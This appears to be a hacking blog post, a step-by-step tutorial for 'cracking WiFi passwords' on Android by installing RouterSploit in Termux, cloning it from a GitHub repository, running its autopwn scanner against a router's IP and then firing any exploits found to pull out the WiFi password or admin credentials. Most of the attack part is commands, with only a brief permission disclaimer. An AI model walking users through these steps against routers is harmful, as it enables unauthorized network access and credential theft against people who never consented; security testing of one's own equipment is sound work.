ANDROID IS A LINUX-BASED OS SO MOST OF THE LINUX APPLICATIONS WORK ON ANDROID. LINUX IS THE BEST PENETRATING OS AVAILABLE, SO LINUX TOOLS ARE THE BEST.

Now, to crack WiFi passwords on Android, you’ll need an app called Termux, which is easily available on Google Play. Download Termux and follow the steps below. We are going to use the RouterSploit module of Termux for this. The best part — ROOT IS NOT REQUIRED for this method.
STEP 1: Install Termux and Required Packages
Install Termux from Google Play and open it. Then install some basic packages by typing the following command:
pkg install git
Once that finishes, type the next command:
pkg install python2
These two are required for downloading and running the RouterSploit tool.
STEP 2: Clone the RouterSploit Repository
Now go to the GitHub page and copy the cloning URL. If you don’t know how to do this, go to:
https://github.com/reverse-shell/routersploit
Click on the green “Code” button and copy the URL shown there. It should look like this:
https://github.com/reverse-shell/routersploit.gitNow go back to Termux and type:
git clone https://github.com/reverse-shell/routersploit.git
Press enter. The repository will be downloaded into your device.
STEP 3: Enter the RouterSploit Directory and Install Dependencies
After cloning, type:
ls
You will see a folder named routersploit. Now move into that folder:
cd routersploit
ls
To make RouterSploit work, you have to install its requirements. Type the following:
pip2 install -r requirements.txt
Let it finish. Then type the second one:
pip2 install -r requirements-dev.txt
Finally, fix any leftover dependency issues with:
pip2 install requests
STEP 4: Start the RouterSploit Framework
Once everything is installed, you can now launch RouterSploit. In Termux, type:
python2 rsf.py
This command starts RouterSploit. You’ll see something like a terminal inside a terminal. That means it’s running correctly.
STEP 5: Using RouterSploit to Hack WiFi or Test Its Vulnerability
Note: This is for educational and informational purposes. Use only on your own WiFi or with permission.
Let’s continue from where we left off. You’ve already installed and launched RouterSploit. Now we’ll see how to use it.
Step 1: Enter the RouterSploit Directory Again
In case you closed Termux, reopen it and type:
cd routersploit
ls
Then launch RouterSploit again:
python2 rsf.py
Step 2: List Available Modules
Type this to see all the modules:
show all
You’ll see a long list of exploits, payloads, and scanners. For WiFi/router vulnerability testing, I recommend:
use scanner/autopwn
This is an automated scanner that will test for known vulnerabilities.
Step 3: Set Target IP and Port
Now we set the target. Type:
show options
You’ll see fields like target and port.
Set the target to your router’s IP address. You can find it in your phone’s WiFi settings (usually something like 192.168.0.1 or 192.168.1.1).
set target 192.168.1.1
set port 80
Then again, check if everything is set:
show options
Step 4: Start the Exploit Scan
Now run the scan:
exploit
RouterSploit will now try to find known vulnerabilities in the router.
If it finds anything, you’ll see a list of potential exploits. To use one of them, copy its name and type:
use exploit/whatever/you/saw
Then again, set the target:
set target 192.168.1.1
exploit
What Happens Next?
If you are lucky, the router might expose its configuration — including the WiFi password or login credentials. If not, you can keep trying other found vulnerabilities. It’s a trial-and-error method.
Final Words
This method does not require root and works directly from Termux. But remember, RouterSploit works only if your router has known security holes. Many modern routers are patched and won’t be affected.
Use this method only on your own router or with permission. Doing this on someone else’s network without permission is illegal and unethical.
More advanced methods including monitor mode and packet injection require a rooted phone and external WiFi adapter — which is a topic for another post.
Stay tuned — in the next article, we’ll explain more about how to use other modules in RouterSploit and how to patch your router against attacks like these.
Related Posts
Follow kalimux.blogspot.com for more real-world hacking tutorials using Termux.